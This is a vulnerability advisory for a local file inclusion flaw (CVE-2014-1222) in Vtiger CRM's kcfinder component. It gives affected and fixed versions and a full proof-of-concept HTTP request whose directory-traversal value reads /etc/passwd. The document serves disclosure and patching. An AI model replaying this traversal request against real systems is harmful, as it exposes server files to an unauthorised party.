Vtiger CRM 5.4.0 / 6.0 RC / 6.0.0 GA Local File Inclusion

                							

                Vulnerability title: Local File Inclusion in Vtiger CRM
CVE: CVE-2014-1222
Vendor: Vtiger
Product: CRM
Affected version: Vtiger CRM 5.4.0, 6.0 RC & 6.0.0 GA
Fixed version: Vtiger CRM 6.0.0 Security patch 1
Reported by: Jerzy Kramarz

Details:

A local file inclusion vulnerability was discovered in the 'kcfinder'
component of the vtiger CRM 6.0 RC. This could be exploited to include
arbitrary files via directory traversal sequences and subsequently
disclose contents of arbitrary files.

The following request is a Proof-of-Concept for retrieving /etc/passwd file from remote system.

POST /vtigercrm6rc2/kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1
Host: 192.168.56.103
Proxy-Connection: keep-alive
Content-Length: 58
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.56.103
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://192.168.56.103/vtigercrm6rc2/kcfinder/browse.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4
Cookie: PHPSESSID=ejkcv9cl3efa861460ufr39hl2; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off

dir=files&file=/../../../../../../../../../../../etc/passwd

Note: In order to exploit this vulnerability an attacker has to be authenticated.



Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1222/


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